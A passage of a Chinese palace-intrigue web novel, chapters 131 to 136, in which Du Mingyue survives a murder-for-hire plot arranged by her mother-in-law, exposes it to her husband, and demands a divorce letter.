于是两人转头认真的看向刀疤脸歹徒,甚至试图帮忙劝说,“大哥,我觉得其实他这话说的也挺对,咱们放着好赚的钱不赚,干嘛要赚买命钱呢!” 刀疤脸歹徒显然此刻也有些被说动了,犹豫了许久,这才道,“你说的是真的?你真的能回来?” 段骆岐觉得自己好像逃出生天有望,立马用力的点着头。 “真的不报官?”那刀疤脸歹徒又问,段骆岐立马又将脑袋如小鸡啄米一般,用力的点了两下。 刀疤脸眉头紧锁,显然他内心确实在挣扎动摇,过了许久,终于叹了口气道,“行,你走吧!” 说着,他抬手将手里的短刀一辉,绑着段骆岐的绳子立马散了一地。 段骆岐眼里闪着亮光,抬头对杜明月认真道,“你放心,我一定会回来救你的!” 说完,他又对歹徒几人道,“你们不许伤害她,我回去后立马就拿着钱回来!决不食言!” 段骆岐说完,深深看了杜明月一眼,转头决然的推门离开。 段骆岐此刻的承诺是真的,他确实打算拿着钱回来先救下杜明月,但他心里也清楚,他之后还是要报官的。 段骆岐刚走出不多远,那刀疤脸歹徒又觉得不对劲,朝地上淬了一口唾沫,凶狠的道,“不行,我还是觉得不能放他走!” 刀疤脸懊恼道,“他万一反悔怎么办!他都能留一个女人在这里做人质,真的会为了这个女人回来?我看不见得!你觉得呢?” 刀疤脸特意抬头问杜明月,杜明月依然冷冷的,他立马转头对身后两个歹徒道,“不行!你们去追上他,直接杀了,决不能留活口,再处理的干净一点!” “这……”另外两个歹徒犹豫了,显然是有些不情愿的。 刀疤脸歹徒没了耐心,抬手朝着这两人脸上狠狠打了一下,呵斥道,“去!拿人钱财,替人消灾,这是规矩,坏了规矩,以后还想不想赚钱了!” 最终刀疤脸还是觉得他又不能只赚这一次金盆洗手,那不如将今日的事情处理干净,只拿酬金,才好保住自己在道上的名声。 另外两个歹徒见状,也不好再说什么了,只能叹了口气,无奈的追了出去。 杜明月见状,提高了几分音量,十分坚定的道,“你们杀不了他的,他一定能活下去来。我劝你们还是别费力气了。” 隐藏在窗外的侍卫们立马就听明白了杜明月这话里的暗示,他们彼此对视了一眼,立马有四五个侍卫点头,按杜明月的吩咐转头轻声离开,朝着段骆岐和那两个歹徒离开的方向去了。 屋内,杜明月的声音刚落,刀疤脸歹徒便冷笑着蹲下来道,“你还挺自信的,怎么这么在乎他啊?刚才看你那副冷脸的样子,不像在乎他,怎么突然听说他要被杀死了,心疼了?” “你自己都还被绑着没有脱身呢,还有闲心关心他,我看你还是先担心担心你自己一会是什么死法吧!” 杜明月冷冷的睨了他一眼,眸光中并未有半分的惊慌,反而扬起头,看着他认真的问道,“你镇南侯府的段老夫人让你杀我的吧?” 刀疤脸歹徒一怔,意外的看向杜明月,是真的没想到她竟然能一下子猜中。 杜明月看着他这样的反应,就知道自己猜对了! 果然是段老夫人! 杜明月暗暗攥紧自己的双手,指节因为用力而有些泛白。 段老夫人一定是察觉到自己已经知道了她的秘密,所以才会对自己痛下杀手,看来,当年她冒名顶替自己的姐姐,怕也是用了这么狠毒的手段! 杜明月想到这里就觉得有些心惊,段老夫人比她想象的更加心狠手辣,也不知道当年为了掩盖自己冒名顶替的事情,到底毒害了多少条人命。 “没错,可就算你知道又能怎么样?”刀疤脸歹徒突然放生大笑。 他认定杜明月今日一定会死在自己手上,绝无生还的可能,便干脆和她说了实话。 “你都死到临头了,我也不怕你知道真相!”他打量了杜明月一眼,眼中有嫌弃有惋惜。 他咋舌道,“白瞎了你这一张脸,竟然如此不守妇道!我可听说,你身为侯府夫人,私下可是不检点的很!整天和不同的男人鬼混,甚至还经常去那南风馆!” “刚才那人也是你私下豢养的奸夫吧?”刀疤脸歹徒上下打量杜明月道,“你本该被陈塘浸猪笼的,段老夫人不想因你辱没了门楣,给镇南候带绿帽子,所以才决定要杀掉你!” 杜明月听到段老夫人竟然如此污蔑自己,并以此当做买凶杀人的理由,直接被气笑了。 “笑什么?”刀疤脸看她冷笑的样子,也是一愣,不明白是自己哪句话说的这么好笑。 “不守妇道?”杜明月冷笑道,“原来段老夫人就是这么骗你的,那也难怪你不认识刚才那个男人。” “嗯?什么意思?”刀疤脸歹徒一脸不解的看向她,“那人难道不是你的奸夫,那他是什么人?” 杜明月嗤笑道,“他就是镇南候,我的夫君。” “什么!”刀疤脸歹徒声音猛地提高了许多,整张脸都写满了不敢置信,他瞪大眼睛,“怎么可能!绝不可能!他……他……” 刀疤脸歹徒猛地转向屋外,想到那两个同伙已经去追段骆岐,说不定段骆岐此时已经死了,就算不死,难道他真的能将人放走吗? 刀疤脸歹徒突然觉得自己好像陷入了两难的境地,杀也不是,放也不是。 第一百三十一章 偷听到真相 “现在知道事情棘手了?”杜明月嘲讽的声音幽幽传来,刀疤脸歹徒猛地转身,恶狠狠的看向她。 “其实你也不必太紧张。”杜明月淡淡开口,“你也应该看出来了,他对我只是表面深情,实则薄情寡义,根本不会违背自己的母亲来救我。” 杜明月的话让刀疤脸歹徒愣住了,有些听不懂的道,“你这是什么意思?” “我的意思是,你现在去追上他,告诉他这件事的幕后主使是他的母亲,他便马上会和自己的母亲沆瀣一气,绝不会报官抓你们的,毕竟抓了你们,对他们段家没有好处。” “……”刀疤脸歹徒显然被杜明月说中,但还是有些不放心的道,“我凭什么相信你!” “你去试一试不就知道了?”杜明月冷笑,“反正我手无缚鸡之力,被留在这里也跑不了,你去看看吧。” 刀疤脸歹徒咬了咬牙,当真撇下杜明月追了出去。 屋外竹林中,段骆岐正一路狂奔,此时他也已经发现那两个歹徒在身后追上来了。 他因为被绑架时,被歹徒用棍子狠狠敲了一下脑袋,气力都还没有恢复,即便手脚自由了,也没有信心一定能打赢两人,于是只能继续一路狂奔逃命。 但可惜他双腿也没有什么力气,跑着跑着有些发软,实在跑不动了,抱着树干急促的喘了几口气后,朝着一旁的山坡跑了过去,试图躲在下面避开歹徒的视线逃过一劫。 不一会,歹徒们果然追了过来,因突然看不到段骆岐逃离的身影,便停下脚步四处寻找。 “奇怪!刚才明明看到往这个方向过来了,怎么不见了?”其中一个歹徒手里拿着刀子,四处张望。 另一歹徒也点头道,“肯定在这里,他肯定是藏起来了,好好找!” 此时,得了杜明月授意的几名侍卫也在暗处隐秘的停下脚步,准备随时出手救下段骆岐。 但还未等到他们出手,那刀疤脸歹徒却突然冲出来,叫住了那两个歹徒同伙。 “都给我住手!”刀疤脸气喘吁吁的上前,见他们的刀刃还都是干干净净的,就放心了。 那两个歹徒同伙反倒不解了,立马凑上前去,一脸疑惑。 “那小子不知道跑哪去了,你放心,我们一定把他找出来!” “没错,你放心,我们一定不会让他去报官的!” 刀疤脸歹徒瞪了他们一眼,抬手在他们头上又是一人一下。 “蠢东西!没听见我刚才的话吗,让你们住手,就是让你们放了他的意思。” “嗯?为什么?” 另外两个歹徒几乎是异口同声的询问,一头雾水。 刀疤脸歹徒叹了口气道,“刚才屋里那女人说了,那男人就是镇南侯府的侯爷,这单生意可是他母亲段老夫人的意思,我们要是杀了她儿子,你们说咱们还能拿到钱吗?” “你们放心,他一定不会报官的,本来我是想追上他,亲口和他说的,现在人跑了就跑了吧,毕竟他肯定会先回侯府通知段老夫人,段老夫人也不会让他报官的。” “走,咱们该回去处理那女人了!”刀疤脸歹徒说着,转身就走。 山坡下,隐藏自己身形的段骆岐此时震惊的用双手紧紧捂住自己的嘴巴,不敢发出一点声音。 等到确信那几个歹徒走远以后,他才恍惚的扶着树干起来。 刚才歹徒们的那些话,让他的内心受到了巨大的冲击,他到现在还是无法相信他们的话。 这些歹徒竟然是自己的母亲派来的,怎么可能? 她究竟为什么要杀了杜明月? 段骆岐跌跌撞撞的走在竹林中,始终无法接受这个现实,难道自己的母亲真的是这样一个心狠手辣的人? 再未追上来的歹徒,似乎让段骆岐心中对这个事情更加信任了几分。 他一路痛心疾首,慌慌张张的朝着京城而去,回了京城,他也没有去报官,而是立马回了段府。 此时,段老夫人正在自己屋中悠闲的品着茗茶,期待很快有人给自己送来好消息。 但她没有等来想要的好消息,等到的是段骆岐脸色苍白,一脸愤怒的踹开房门,冲了进来。 房门被踹开的巨大声响吓了段老夫人一跳,差点从摇晃的藤椅上摔下来,于嬷嬷扶着她站起来后,她立马满脸怒容的冲段骆岐道,“老大,你这是做什么!” 愤怒不已的段骆岐早就顾不上什么礼数,他踹倒了屋中的椅子,将眼前所有能看见能摸到的东西全都砸在了地上。 屋里顿时响起一阵叮铃哐啷的声响,段老夫人被暴怒的段骆岐吓到,一边缩在角落,一边大声制止段骆岐。 “老大!你疯了吗!快住手!你知道那些东西多贵吗!住手!快住手!”段老夫人几乎是歇斯底里的喊着,但她根本不敢上前阻止,生怕自己一个不小心就会被发疯的段骆岐伤到。 这边闹出的动静实在太大,很快就引起了府中上下的注意,听到消息跑来的段骆霖和段骆芙看到这一地的狼藉也惊呆了。 “大哥!你到底怎么了,发什么疯!”段骆霖看到段骆岐甚至踢倒了桌子,上前一把拽住了他的手臂,抱住了他的腰,试图阻止他继续发疯! 暴怒的段骆岐一把推开段骆霖,段骆霖摔倒在地,段老夫人见状,立马急了,直接冲上前冲着段骆岐怒吼,“你发什么疯!我看你要杀了我是不是!好啊!你来啊!” 段骆岐听到这话,猛然像是被什么东西定住了一般,眼神复杂的死死盯着她。 段老夫人被他的眼神盯得心里发毛,但见他真的不再继续发疯了,以为是她的震慑起了作用,继续指着他骂道,“好,你要真想杀了我,你就朝这儿来!” 她说着,还试图抓着段骆岐的手往自己头上打去,段骆岐猛地抽回自己的手,眼眶含泪,十分痛苦疑惑的道,“为什么?你为什么要杀了明月,到底为什么!” 段骆岐发疯一般的怒吼让整个屋子顿时安静了下来,久久没有任何声音,陷入了死一般的寂静。 第一百三十二章 是你疯了 “大,大哥……你在说什么?”段骆霖扶着一旁的柱子起身,不敢置信的看着他,怀疑是自己听错了。 段骆芙也吓得瞠目结舌,几乎忘了呼吸,她震惊的看向段骆岐,又惊恐的看向段老夫人。 “母,母亲,这到底是怎么回事!”段骆芙虽然觉得这事儿几乎不可能是真的,但又觉得段骆岐平日是个很冷静的人,不会无缘无故做出今日这种出格的事。 段老夫人此刻已经完全愣住了,一脸震惊的忘记了反应,段骆岐一看她惊恐的神情,便知道那些歹徒真的没有骗自己,他们说的全都是真的。 确信无疑,却又无法接受这个事实的段骆岐痛哭流涕的跪了下来。 他痛心疾首的指着段老夫人道,“是你疯了!你竟然想杀掉侯夫人!你知不知道,你买凶杀人的事情一旦暴露,整个侯府都完了!” “我真没有想到,我的母亲竟然是这么一个心狠手辣的人!你究竟为什么要杀明月,到底为什么!” 段骆岐声嘶力竭的怒吼着,段骆霖和段骆芙见段老夫人竟然不反驳,只是惊慌失措的看着他,心中顿时也明白是怎么回事了。 段骆霖只觉得好像被人重击了一下后脑勺,脚步都有些虚浮,但还是冲到了段老夫人的面前,“大哥说的竟然都是真的?你真的让人去杀大嫂?母亲,你是真的疯了!” “母亲,你怎么能那么做,她是我们的大嫂,是你的儿媳妇啊!”段骆芙无助的浑身颤抖,眼泪止不住的流下来。 或许是面对众人的指责,段老夫人心中生出了胆怯和逃避的想法,她下意识开口反驳道,“胡说!谁说是我要杀她的,谁说是我买凶杀人的?” 段老夫人说着说着,甚至信了自己的诡辩,语气都变得硬气了几分,“有证据吗!没有就是诽谤污蔑!是杜氏这样污蔑我的吗?我一定要去官府告她,把她抓起来!” “够了!”忍无可忍的段骆岐大吼一声,眼中都是对她的失望,情绪也平稳了几分。 “要证据是吗?等把那些歹徒抓起来,真正要下大狱的人是你!” 段骆岐冷笑一声,“母亲你知道吗?是那些歹徒亲口说的,是你派他们来的,如果不是突然间知道我的身份,他们原本是准备把我一起杀掉的!” 段老夫人一愣,她买通的杀手差点杀了段骆岐这是她没想到的。 虽说,她倒是希望段骆岐赶紧给段骆霖让位置,但绝不是这样不明不白的死掉,不然他一死,段骆霖没能承袭他的位置,段家反而会元气大伤,从此一蹶不振。 一想到段骆岐说的这些话,段老夫人惊惧的嘴唇都颤抖了起来,她是真的害怕那几个歹徒被抓,再供出自己来。 段老夫人暗暗攥紧双手,想努力让自己冷静下来。 看来事已至此,她继续嘴硬不承认这件事已经没有用了,她立马改口辩解道,“好,我承认他们是我派去的,但其实我根本也没想着要杜明月的命!” “你以为我不懂人命关天的道理吗!我比谁都清楚,所以我只是想找人吓唬吓唬杜氏罢了!” 段老夫人犹豫了下,给自己找了个借口道,“上次,她将我的生辰宴闹得鸡飞狗跳,我心中恨她,难道还不能给她点教训了?” 说完,她又心虚的看向段骆岐,“我真的没让他们下死手,更没有让他们伤及无辜!至于你被他们绑了去的事情,我更是一无所知啊!” 在一屋子人震惊的眼神中,段老夫人缓缓走向段骆岐,握住了他的手道,“他们说要杀你的话,一定也是骗你的。老大,你冷静一点。” 屋里再次陷入了让人窒息的沉默,段骆霖和段骆芙彼此看了一眼,神色松动,显然他们是相信了段老夫人的话。 段骆岐微微眯起眸子,久久的注视着段老夫人,段老夫人见他没有立马甩开她的手,心里暗暗松了一口气。 接着,她突然开始大哭了起来,还不忘抓着段骆岐的手,“我真是老糊涂了,没用了,是我不该生杜氏的气,我只是单纯的想给自己出出气,没想到闹出这么大的动静出来!” “果然,人到了一定年纪,活着就是多余,说不定没有我,你和杜氏真的能和好,要不我干脆一头撞死在这里,给你谢罪吧!” 嚎啕大哭的段老夫人将自己说得十分悲惨,话落,一把甩开段骆岐的手,真的准备用头去撞柱子。 段骆岐一惊,下一瞬,段老夫人已经被段骆霖和段骆芙两人死死拉住了。 “母亲,你不要冲动!大哥,你说句话啊,母亲应该真的只是想吓唬吓唬大嫂,没想到弄巧成拙了。” 段骆芙着急的看向段骆岐,段骆岐只是定定的看着段老夫人不说话。 段骆霖也急了,开口道,“大哥,与其在这里继续闹下去,耗下去,不如想想,这事儿该怎么解决!” 这话像是一下子提醒了段骆岐,他咬了咬牙道,“还能怎么解决,当然是立马派人去把明接回来!” 这话让段骆霖和段骆芙一震,也立马露出豁然开朗的神色。 “没错!没错,大嫂还没回来呢,得先确保把大嫂平平安安的接回来。”段骆霖说着,已经急忙跑出去找人了。 段骆芙松了口气,红着眼眶对段老夫人道,“母亲,这次的事情,真的是你做错了,回来给大嫂道个歉吧,以后有什么事,咱们好好说嘛!” 段老夫人不屑的抽了下嘴角,懒得和段骆芙多费口舌。 段骆芙又立马转头看向段骆岐道,“大哥,母亲是一时糊涂,你会原谅母亲,不和母亲计较了吧?” 段骆岐不置可否,没有同意也没有反驳,只是愣愣的,看起来像是已经完全相信了段老夫人的话。 段老夫人转过身看向不再发疯的段骆岐,嘴角扬起一抹微不可察的弧度。 我就知道,你是绝对不会违背和忤逆我的。 你赢不了我的! 段老夫人得意勾唇,这才缓缓走向段骆岐道,“我答应你,会和杜氏好好道歉,这下你总该放心了吧?” 放心吗?不一定。 段骆岐的心中有另一道声音逐渐清晰。 第一百三十三章 我们来接你了 段骆岐定定的看着段老夫人,虽然面上看起来十分平静,但内心深处却早已是波涛汹涌了。 虽然他表面相信了段老夫人不是真的要杀杜明月的狡辩,可是他内心深处原本就种下的怀疑的种子,此刻已经开始生根发芽,逐渐疯长了。 段骆岐暗暗咬牙,目光暗含危险与审视的盯着段老夫人,他一定会查出事情真相的,他倒要看看,段老夫人究竟为何要这么做,他不信只为一个搞砸的生日宴值得她这样痛下杀手。 此时,城外竹林中的破庙。 杜明月一脸轻松的扔掉绑在自己身上的绳子,拍了拍身上的泥土,居高临下的看着被绑起来的三名歹徒。 歹徒全都双眼睁大,一脸惊恐的瑟缩在一起,不敢置信的看着杜明月与她身边的众人。 红豆及十几二十个带刀护在将他们团团围住,泛着寒光的长刀虽然在他们手中,但那几个歹徒总觉得下一秒这些刀子就会落在自己的脖子上。 刀疤脸歹徒确实没想到杜明月竟然还有这样强大的后手,他立马挣扎着朝杜明月跪下,能屈能伸的用力磕着响头。 “咚咚咚!”随着刀疤脸歹徒不停磕头,身边另两个被吓得冷汗直流,满脸惊恐的歹徒也开始朝杜明月磕头,一边磕一边求饶。 “侯夫人!是我们有眼不识泰山得罪了您,您今日只要饶了小的们一命,我们保证再不做这样的勾当,我们,我们还可以去揭发段老夫人的阴谋!” 刀疤脸歹徒眼珠子一转就要向杜明月投诚,杜明月听了这话,倒是认真思索了一会。 “说的有道理。”杜明月若有所思的点点头,就在歹徒们以为自己逃过一劫时,杜明月突然勾唇道,“但,你们今日绑了我,总要吃点苦头的。” 说着她给了红豆一个眼色道,“给我使劲儿打!别打死就行了!” 红豆立马点头,吩咐那些护卫们动手。 很快一阵拳打脚踢,鬼哭狼嚎的声音便在屋内响起,杜明月觉得吵,就和红豆到了屋外呼吸新鲜的空气。 “主子,这三人打算怎么处置?”红豆疑惑开口。 杜明月认真道,“一会你进去告诉那些侍卫,让他们把人带走,带回他们现在落脚的地方,路上别留下什么踪迹。” 红豆一听,有些意外的道,“主子,您真准备留着这三人。” 杜明月点点头道,“没错,段老夫人今日敢这么算计我,我不一定不会放过她,来日我必百倍千倍的讨回来。” 杜明月说着,又补充道,“你进去吧,让他们赶紧把人带走,回去以后,每天给他们一顿饭饿不死就行,他们要是敢嚷嚷,随便打,别打死就行了。” “是!”义愤填膺的红豆立马进屋,一出来,就见杜明月向她招手。 “走吧,咱们从这里回京城还要走好久。”杜明月道。 红豆急忙道,“主子,我们来的时候,提前准备了一辆马车,距离这里不是很远,我马上去……” “不。”红豆的话还没有说完,便被杜明月打断了,她认真道,“我们要走回去。” 红豆一脸不解的看着她,杜明月微微一笑道,“段老夫人今日为了杀我,费了这么多心思,我要不吃点苦头,灰头土脸的回去,怕是该引起他们的怀疑了。” “而且万一他们真的回来找,咱们这样被他们看见也更好遮掩。” 红豆点点头,觉得她这话有道理,但又实在心疼,愤怒的骂骂咧咧道,“这段家从上到下,没有一个好东西,等哪天都落在奴婢手里,奴婢一定让他们知道知道我的厉害和手段!” 杜明月笑着点头,她也等着看段家落魄凄惨的那天。 杜明月一路跌跌撞撞的走了许久,慢慢开始觉得腿有些酸痛,好像走不动了,就扶住了一旁的树干休息起来。 就在红豆想要背着杜明月继续走,杜明月拒绝时,不远处突然传来了马车轱辘碾过地面的声响。 两人双双抬头看去,就看到一辆段府的马车正在路上狂奔,而车上坐着的正是段骆岐和段骆霖,两人正四处张望,神色里满是担忧。 “主子,您好厉害,他们真的找来了。”红豆眼底闪过一抹欣喜,但一想到段家的所作所为,又替杜明月气不打一处来,“段家人还真是挺虚伪的,一面害人,一面还要假装救人!” 杜明月微微笑着,不置可否,下一刻就听到段骆岐兴奋的朝着她们招手。 “明月!明月!我们来接你了!”段骆岐的眼里闪着光亮,杜明月站在原地默默的等着马车驶近。 马车才刚刚停稳,段骆岐和段骆霖立马从马车上跳了下来,两人看向杜明月的目光都带着欣喜。 当段骆霖看到段骆岐上前,不由分说的将杜明月用力抱进怀中时,他的脚步一下子顿住了,脸上的笑容也凝固了。 他的眼底有复杂的情绪一闪而过,随后攥紧了双手,将自己眼底的情绪掩藏,让自己看起来神色如常。 被段骆岐抱住的杜明月不满他的触碰,用力推开他后,还没等段骆岐说话,一个巴掌狠狠甩在了他的脸上。 原本还一脸笑容的段骆岐一下子被打懵了,杜明月却故意装出一副情绪失控,十分愤怒和绝望的指着他骂了起来。 “我都听歹徒说了,是你母亲派他们来杀我的!如果不是关键时刻红豆找到我,打跑了他们,我现在已经死了!” 杜明月怒吼道,“你现在还想来装什么好人,口口声声说什么来接我,其实是想看看我到底死没死吧?” 段骆岐试图解释,安抚杜明月的情绪,“不是,明月,你真的误会了,我怎么会这么想呢?” “别忘了,是你从一开始就打算把我当成人质丢在那里,当时不顾我的死活,现在装出这副虚情假意的模样给谁看?你该不会以为我会相信你真的是来救我的吧?” 说着,杜明月转头对身后的红豆道,“红豆,咱们走!” 第一百三十四章 认错淋雨 红豆在一旁正佩服杜明月演技炉火纯青,突然被杜明月一叫,急忙回过神来,小鸡啄米似的点头。 “对了,回去立马把和离书给我,不然我马上告到官府,让天下的人都知道,堂堂的镇南侯府老夫人买凶杀人,意欲杀死自己的儿媳妇,谋夺我全部的家财!” 杜明月说完,转头就走,段骆岐和段骆霖听了这些话,真的急了。 他们急忙拦住杜明月,态度着急恳求。 “大嫂,你不要这样,我承认这次的事情是我母亲做的不对,但她其实也只是想吓唬吓唬你,并没有真的想害你,你看你这不是也没有受伤吗?” 杜明月听着段骆霖替自己母亲辩解的声音,心里无比厌烦,她不耐烦的转过头,劈头盖脸骂道,“你闭嘴!你母亲是不是真的想杀我,报官让官差大人一审便知!” “我能活着回来,不是因为你母亲手下留情,是因为有红豆保护我!” 杜明月冷笑一声,看着脸上红一阵白一阵的段骆霖冷嘲热讽道,“怎么,你刚说的那么斩钉截铁,难不成买凶杀人这事儿你也有份?所以才这么着急替你母亲辩解?” 段骆岐闻言,也转头警惕的看向段骆霖。 段骆霖一愣,脸上的神色更加难看了,他疯狂摆手道,“不,我没有!我真的什么都不知道!是大哥去母亲屋里闹,我才知道的!” 说着,他将话头指向了段骆岐,“大哥,你说句话啊,你当时明明都看到了,我和小妹什么都不知道,我刚才说的,全部都是母亲亲口承认的。” 杜明月闻言,眉头微挑,对段老夫人是如何替自己开脱的,全都了然于心。 “她承认了?那就好。”杜明月突然轻笑出声,抬眸对上段骆岐和段骆霖,眼眸漆黑深不见底的道,“派人绑架官宦家眷,谋杀未遂,这些罪名她背定了,一个都跑不了!” “你要是不想你母亲真的被抓进大牢,死在里面,回去后立马给我和离书,一旦我的耐心都被消磨光了,我一定会告你们劫财谋杀!” 杜明月说完,内心舒坦,甚至又觉得浑身都有了力气,转头和红豆扬长而去,独留段骆岐和段骆霖伫立在原地,久久没有缓过神来。 杜明月一进京城,便立马让红豆租了辆马车,两人一路坐着马车回府。 她一踏进侯府的大门,便能感受到府中的人都偷偷的打量自己,而她完全不在乎,目不斜视,直接回了摘月居。 红豆伺候杜明月泡了澡,换上干净的衣裳,才让厨房送来了吃食,她就听见外头大颗大颗的雨滴砸在地面上,很快断断续续的雨声大了起来,竟连成了哗啦啦的大雨。 杜明月将下人送来的饭食都吃完后,便让红豆找个下人来收拾干净,却没想到那来收拾的丫鬟一进门,就故意凑到杜明月跟前道,“夫人,您快出去看看吧,侯爷在外头淋雨呢!” 杜明月闻言,眉头不悦的微微蹙起,红豆见状,立马将丫鬟推开,不满的道,“让你来收拾东西,废话怎么那么多!” 那丫鬟无法,只能怏怏的闭上嘴巴,专心收拾了起来。 等那丫鬟离开后,屋里只剩下杜明月和红豆两人,红豆站在窗前往外看了一眼,果然见到段骆岐站在雨里。 她再将目光放的远一点,便看到不远处的廊下还凑了五六个下人,彼此交头接耳、窃窃私语的不知道在议论些什么。 红豆撇了撇嘴,不屑的瞪了一眼段骆岐,心里一边偷偷骂着他装深情,一边“砰”的一声将窗户观赏了。 “主子,以前我从来不知道,什么叫缠着人不放的狗皮膏药,现在可算是见识到了。”红豆感慨,“这侯爷惯会做这种虚情假意,实则将人架到火上烤的事情!” 杜明月闻言,惊喜的看向红豆道,“没想到,你真看出他的本质来了。” 杜明月说完,自己也忍不住扑哧一声笑了,她几乎都已经可以预见,段骆岐为了挽回自己深情的名声,接下来都会上演什么把戏。 除了淋雨,大概还会有大声认错、当众下跪、绝食明志吧。 杜明月一想到这些,忍不住嘲笑出声,“不用管他,他愿意将自己当猴耍,咱们就看着呗,你放心,他很快就会坚持不下去了。” 红豆两眼放光,重重点头,说实话,她听杜明月这么一说,还真有点好奇,接下来还会看到什么好笑的场面。 果然,段骆岐当真如杜明月所想,接下来的所作所为完全都在她的预料之中。 门窗全部关紧的屋内,段骆岐大声认错的声音传了进来。 “明月!我知道错了!你消消气好不好,原谅我好不好!”段骆岐丝毫不在意府中下人们的目光,当真咚的一声跪在大雨中。 他也不顾大雨下的他眼睛都睁不开,只是朝着紧闭的房门大喊,“我承认不该将你留下,但我这么做,都是为了我们两个都能活命!” 段骆岐大声喊着,见房门始终没有打开,便一遍遍重复的喊着。 屋内,杜明月听着他如此“认错”的态度,又是一声冷笑。 她漫不经心的磕着瓜子对红豆道,“你听听,你听听,这哪是道歉,口口声声说自己错了,可句句都在说他的决定是对的,这不就是说我不识大体,不领情吗?” “就是!”红豆也对他的做法嗤之以鼻,“他那么喊,就跟在府里散播主子你的谣言有什么区别!” 杜明月赞许的朝着红豆点点头,红豆果然懂得越来越多了,段骆岐可不就是这么目的嘛。 她嘴角浮现一抹冷笑,段骆岐当真还以为自己是当初那个心软耳根子也软的杜明月了,那个杜明月已经死在东宫了,现在的她,再不会被任何人摆布,更不会在乎任何人的话。 也不知道段骆岐到底在外面喊了多久,杜明月这边才刚刚铺开宣纸,准备练字时,突然听到屋外传来了段骆霖和段骆芙的声音。 第一百三十五章 冒雨出门 “大哥,你起来,大嫂不想理你,你跪在这里也没用,你先回去吧。”是段骆霖的声音。 段骆霖说完准备伸手拉起段骆岐,却被段骆岐狠狠一把推开了,甚至一个趔趄,差点摔在地上,手中的伞也歪了,气的他直接扔在了地上。 段骆芙见他们两人差点动起手来,急得声音里都带上了哭腔,“大哥,二哥,你们不要这样,我害怕……” 她说着,呜呜的哭了出来,转头对着屋里的杜明月喊道,“大嫂,求你了,千错万错,都是我的错,你出来看看大哥好不好,只要你愿意原谅大哥,你让我怎么做就行。” 屋里的杜明月闻言,眉头不悦的蹙起,眼里也带上了一丝不耐烦。 看来这段骆芙还是一点长进都没有,她之前好心告诉她的那些道理,她是一点都没听进去,竟然还在这里和稀泥。 杜明月此时终于明白了,为什么蠢人有时候比坏人还让人讨厌了。 这个念头在杜明月脑海中一闪而过,杜明月这才惊觉,以往她心中对段骆芙还抱着一丝善意和柔情,现在居然也全部消失殆尽了。 这足以说明,她的内心对段府已经再无半点感情可言了。 杜明月心中不免又多了几分感慨,人和人之间的感情果然瞬息万变,她能掌控的,原来只有自己的心。 等杜明月回过神来时,听到外面依然吵吵闹闹的,她实在没有耐心继续听下去了,就对红豆道,“你让他们走吧,我想清净的待一会。” 红豆闻言,立马撑着伞出去了,原本正在互相拉扯的段骆岐和段骆霖见状,不约而同的立马松开抓着彼此衣服的手,一脸期待的看着她。 “明月终于肯答应见我了?”段骆岐眼中有忐忑,有惊喜,而红豆却根本不给他遐想的机会。 红豆板着一张脸道,“侯爷想什么呢?我们主子是不会原谅你的,我们主子只是觉得你们太吵了,听着心烦,让我来赶你们走,你们要打要闹的,换个地儿吧!” 红豆说话也不遮掩,段骆岐等人听了这话,脸上顿时尴尬失望了起来。 “你们快走啊!怎么,还真要让我赶人是不是!”红豆有些急了,目光扫过一旁,看到有个扫帚,急脾气的她直接拿了起来。 她先是往段骆芙和段骆霖眼前一挥,两人吓了一跳,也都知道红豆是有真功夫在身上,刚才的话也不是玩笑话,只能慌乱狼狈的转身,跑到了通向院外的长廊上。 红豆见状,转头又将扫帚往段骆岐眼前一立,一字一句认真问道,“侯爷,走不走?不走我就真的动手了。” 段骆岐咬了咬牙,似乎下定了什么决心,站稳了脚跟道,“我不走!我知道明月心里有气,今日你要动手,我绝不还手,要是这样明月能消气的话,我心甘情愿。” 此时另一边的长廊下,还有看热闹的丫鬟小厮们。 他们窃窃私语了很久,胆子竟然也莫名的大了起来,甚至还有几个没有眼色的朝着红豆喊了起来。 “红豆,你是会点功夫,但你要对侯爷动手,也未免太轻狂了些!” “没错,再怎么样,你都是个下人,你这叫以下犯上,再说了侯爷对夫人这么深情,你在中间挡着是什么意思,要我说,夫人就不该闹这脾气。” “是啊,夫人也不知道每天在闹什么,侯爷虽说取了姨娘,但那正头夫人的位置不是也没动吗……” 这些下人越说越起劲,段骆岐听了心里受用,自然也没有打断,而一旁的红豆听了,只觉得要被气炸了。 此时她也顾不上赶段骆岐走了,直接冲到长廊下,收起伞,立马伸手狠狠给了一人一耳光,动作快的那些人都来不及躲闪。 接着,红豆用收起来的油纸伞做棍子,狠狠敲在这些人的头上,身上,将这些下人们打得抱头鼠窜,嘴里也不敢胡说八道了。 “让你们乱说!你们下次再赶胡说八道,我一定打得你们满地找牙!” 红豆跳着脚,朝着那些四处逃窜的下人们喊着,那些人听到这话,脚下跑的更快了,很快就一溜烟的全不见了。 红豆拍了拍手,一脸嫌弃的转身,看着还不肯离开的段骆岐,不耐烦的道,“侯爷还不肯走吗?难不成也要我这样动手才肯走?” “我……”段骆岐本想说什么,突然身形一晃,后脑被打的部位隐隐作痛,他这才想起来,他受伤回来后,还没有看过府医。 想到这里,段骆岐无奈的叹口气,转身离开,心里是打算等看过府医,他再回来。 红豆见他离开,很是高兴,回到屋里以后,正要替杜明月收拾书案,突然发现书案的砚台底下压着一张字条,而那张纸的质地,正是慕子叙常用的浣花笺。 她急忙将字条递给杜明月,还回忆道,“主子,奴婢清楚记得咱们出门前,是没有这张字条的,一定是公子想办法送来的。” 杜明月点着头,手中动作迅速的将字条展开,上面只有一个地址,她心中立马明白,这是慕子叙约自己见面的地点,上面没有时间,估计他一直在等自己吧。 这么一想,杜明月便着急的准备披上斗篷出门,红豆一愣,想要阻止。 “主子,外头的雨现在太大了,而且过了这么长时间,说不定公子已经离开了,不如我去看看,下次再见吧。” 红豆的本意是担心她,这一点杜明月自然是知道的,可不知为什么,她心里就是认定慕子叙一定还在等自己,他没见到自己一定不会先行离开。 杜明月也说不出原因,但这种想法就是莫名的十分强烈,或许杜明月此时还没有察觉到,她的内心深处竟然对这次见面带了几分迫切。 “不,我要亲自去,慕公子一定还在那里。”杜明月十分坚定的推门出去,红豆见状,也只好急忙跟了上去。 这场雨下得又大又急,瓢泼大雨让整个京城的街道都笼罩在浓浓的水雾中,杜明月坐在马车里朝外看去,觉得整个京城被笼罩在巨大的烟雾中。 第一百三十六章 煮茶暖手 此时,临街的茶楼上,慕子叙微微蹙眉的看着楼下的街景,神色复杂,他似乎有些后悔不该约在今日和杜明月出来见面。 